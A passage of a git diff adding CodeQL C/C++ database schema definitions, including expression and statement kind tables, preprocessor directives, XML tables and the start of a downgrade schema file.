initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_default ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_default ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +| 394 = @isinvocable +| 395 = @isnothrowinvocable +| 396 = @isbitwisecloneable +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + | @isinvocable + | @isnothrowinvocable + | @isbitwisecloneable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +param_ref_to_this( + int expr: @param_ref ref +) + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_default ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +| 40 = @stmt_leave +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue | @stmt_leave; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/semmlecode.cpp.dbscheme b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/semmlecode.cpp.dbscheme new file mode 100644 index 000000000000..ef8d209a22e2 --- /dev/null +++ b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/semmlecode.cpp.dbscheme @@ -0,0 +1,2577 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the 